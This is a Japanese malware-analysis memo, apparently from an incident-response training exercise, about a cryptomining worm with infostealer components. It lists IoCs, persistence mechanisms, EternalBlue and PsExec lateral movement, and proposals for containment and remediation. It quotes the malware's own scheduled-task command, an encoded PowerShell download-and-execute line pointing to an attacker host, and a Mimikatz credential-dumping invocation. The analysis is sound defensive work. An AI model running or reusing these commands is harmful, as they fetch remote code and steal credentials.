# MAIR 12班 解析結果メモ ## マルウェア解析 ### 流れ dl.exe.malware or install.exe.malware \| - ttt.exe(create) -> C:wmix.exe(rename) \| - C:\windwos\SysWOW64\drivers\svchost.exe(rename) -> taskmgr.exe(create)->svchost.mlz.malware復号(マイナー) \| - ### dl.exe.malware - Infostealer - bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc - IoC - i[.]haqo[.]net/i.png - o[.]beahh[.]com/i.png - p[.]abbny[.]com/im.png - 参考 - トレンドマイクロが上記URLをIoCとして報告 - おそらく、ダウンロードされるのはpngファイルに偽装したZipでは? - TEMP~zip.malwareがおそらくそう - https://blog.trendmicro.co.jp/archives/20418 ### TEMP~zip.malware -展開すると以下のファイルが保存されている。 -windows_temp_svchost.exe.malwareのデコパイル結果とほぼ同じ (一部含まれていないただのdataファイルあり) bz2.pyd Crypto.Cipher._AES.pyd Crypto.Cipher._ARC4.pyd Crypto.Cipher._DES.pyd Crypto.Cipher._DES3.pyd Crypto.Hash._MD4.pyd Crypto.Hash._SHA256.pyd Crypto.Random.OSRNG.winrandom.pyd Crypto.Util.strxor.pyd Crypto.Util._counter.pyd ii.exe.manifest Microsoft.VC90.CRT.manifest msvcm90.dll msvcp90.dll msvcr90.dll python27.dll pywintypes27.dll select.pyd unicodedata.pyd win32api.pyd win32pipe.pyd _hashlib.pyd _socket.pyd _ssl.pyd ### install.exe.malware - Infostealer - bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc - **dl.exe.malwareと同一検体** - IoC (dl.exe.malwareと同じ) - URL - i[.]haqo[.]net/i.png - o[.]beahh[.]com/i.png - p[.]abbny[.]com/im.png - Mutex - "I am tHe xmr reporter" - Strings - password12 - Persistence - /HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/RUN/Ddriver - c:/windows/SysWOW64/drivers/svchost.exeで登録 - トレンドマイクロが公開しているhash値と一致 - https://blog.trendmicro.co.jp/archives/20418 - Mutexはstringsコマンドで抽出可能 - https://www.bitdefender.com/files/News/CaseStudies/study/280/Bitdefender-WhitePaper-Worm-Cryptominer-Beapy-PCASTLE.pdf - 挙動 - wmicコマンドを利用している ### svchost.exe.malware - Infostealer - bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc - **dl.exe.malwareと同一検体** - IoC (dl.exe.malwareと同じ) - i[.]haqo[.]net/i.png - o[.]beahh[.]com/i.png - p[.]abbny[.]com/im.png - query stringのフォーマット - ID=${マシン名}&GUID=${GUID}&MAC=${MACアドレス}&USER=${マルウェア実行時のユーザ}&OS=${OSバージョン}&BIT=${bit}&CPU=&${CPU情報}&CARD=${グラフィックドライバー} ### svchost.mlz.malware - 暗号化されている? - taskmgr.exe.malwareが復号し、メモリ上で実行するマイナー ### wmiex.exe.malware - IoC - ii[.]haqo[.]net/u.png - oo[.]beahh[.]com/u.png - pp[.]abbny[.]com/u.png - query stringのフォーマット - ID=${マシン名}&GUID=${GUID}&MAC=${MACアドレス}&OS=${OSバージョン}&BIT=${bit}&T=${マルウェア起動時の時間(Epoc_Time)} - Installation/Persistance Writes data to a remote process details "wmiex.exe.malware.exe" wrote 32 bytes to a remote process "%WINDIR%\SysWOW64\net.exe" (Handle: 256) "wmiex.exe.malware.exe" wrote 52 bytes to a remote process "%WINDIR%\SysWOW64\net.exe" (Handle: 256) "wmiex.exe.malware.exe" wrote 4 bytes to a remote process "%WINDIR%\SysWOW64\net.exe" (Handle: 256) "wmiex.exe.malware.exe" wrote 8 bytes to a remote process "%WINDIR%\SysWOW64\net.exe" (Handle: 256) "net.exe" wrote 32 bytes to a remote process "%WINDIR%\SysWOW64\net1.exe" (Handle: 144) "net.exe" wrote 52 bytes to a remote process "%WINDIR%\SysWOW64\net1.exe" (Handle: 144) "net.exe" wrote 4 bytes to a remote process "%WINDIR%\SysWOW64\net1.exe" (Handle: 144) "net.exe" wrote 8 bytes to a remote process "%WINDIR%\SysWOW64\net1.exe" (Handle: 144) ### windows_temp_svchost.exe.malware Pythonのソースコードをexeファイル化した実行ファイル python-exe-unpackerでデコンパイルするとm.ps1.malwareと同じファイルが出てきた(iiファイル内) → windows_temp_svchost.exe.malwareがm.ps1.malwareを設置 何かをダウンロードし設置? ``` cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\windows\temp\svchost.exe ``` ↑Autorunsでも確認 ↓ base64の部分のデコード ``` IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN) ``` ↑おそらくこれがmkatz.ini.malware サンドボックス実行結果 any.run: https://app.any.run/tasks/27d42ecb-0584-4d90-8302-56584551151b/ SMB(tcp/445)のスキャンを行う、対象IPアドレスレンジはランダム? http://ip.42.pl/rawにGETリクエスト ``` GET /raw HTTP/1.1 Accept-Encoding: identity Host: ip.42.pl Connection: close User-Agent: Python-urllib/2.7 ``` ### m.ps1.malware - Mimikatz - m.ps1.malwareが関数「Invoke-Cats」を実行 - トレンドマイクロが出してるhash値と一致 - https://blog.trendmicro.co.jp/archives/20418 - hash - d943bc6dc7614894cc1c741c6c18ac2dbd2c5069f3ab9bc9def5cc2661e54dee - 長いbase64をデコードしてみるとDLLファイルが出てくる - 95efe1994ddbe75ff322bf1cec08384b390cb8153b09f8d01ed928296d108cdb ### mkatz.ini.malware - m.ps1.malwareをインポートして使うbat - 推測するに ``` powershell -exec bypass import-module C:\Windows\Temp\m.ps1;Invoke-Cats pwds ``` ### Autoruns - Task Schdulerに「DnsScan」名のタスクあり(VT 30/68) - パスが「C:\windows\temp\svchost.exe」でマルウェア確定 - PersistenceはTask Scudulerと分かる ### DnsScan - 1時間に1回「C:\windows\temp\svchost.exe」が起動される ## マルウェアの解析結果 ### マルウェアの目的と⾏動 - 仮想通貨をマイニングさせる目的で、「WindowsのSMB Serverの脆弱性」を利用し、インターネットからマルウェアを感染させ、感染した端末等は、仮想通貨のマイニングを行うとともに、更に横展開してマルウェアを拡散させる。 ### 最初の感染原因と思われるもの - グローバルIPアドレスが設定されている幾つかのサーバのうち、数年間アップデートしていないサーバの中で「WindowsのSMB Serverの脆弱性」を有したサーバが脆弱性をつかれてマルウェアに感染したと思われる。 ### 何度も感染する原因 - Run key - /HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/RUN/Ddriver - /HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/RUN/WebServers - タスクスケジューラ - 「DnsScan」名のタスクが登録されており、「DnsScan」タスクは、1時間に1回マルウェア本体である「C:\windows\temp\svchost.exe」を起動 - 「Blutooth」名でタスクが登録されており、下記powershellスクリプトと「C:\Windows\temp\svchost.exe」を実行 ``` IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN) ``` - サービス登録(感染後の解析VMのAutoruns確認) - Ddriver:C:\Windows\SysWOW64\drivers\svchost.exeを起動 - WebServices:C\Windows\SysWOW64\wmiex.exeを起動 ### 横展開の⼿法(windows_temp_svchost.exe.malwareが行う) 1. PSEXECによるSMB経由のRCE - Bloothsのスケジュールが登録される - 2. WindowsのSMB Serverの脆弱性をついて、拡散 - MS17-10(EternalBlue) - Blue ScreenになったホストはEternalBlueが成功した可能性が高い ### 被害範囲(IPアドレスやユーザ等) - ip address - ### IoCリスト ## インシデントレスポンス ### ウィルス駆除スクリプト(あれば良い) ### マルウェアの拡散の封じ込め(提案) - ADのグループポリシーにおいて、ハッシュ値による起動抑止 - ホストFWの設定(ポート445番の制御) - 海外拠点間の通信制御(ポート445番の制御) - 使用するポート番号が決まっているなら、静的IPマスカレードの設定 ### マルウェアの根絶⽅法(提案) - マルウェアのアプリケーションからのアンインストール - マルウェアを起動するタスクスケジューラーの削除 - マルウェアが書き込んだレジストリの削除 - マルウェアが感染した端末をキッティング ### 再発防⽌(インシデント対応後にすべきこと)<優先順位順> - WindowsのSMB Serverの脆弱性に対する修正プログラム「MS17-010」の適用(WindowsXPも提供されている。) - 全端末及びサーバのパスワード変更(グループポリシーにてパスワード未設定を許可しない。) - セキュリティパッチの定期的なアップデート - Palo Altoの検知されたログを誰かが監視(検出時メール送信するよう設定変更) - インターネット間におけるSMBv1の通信禁止及びグローバルIPを持つサーバの変更(2003は持たない。)
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up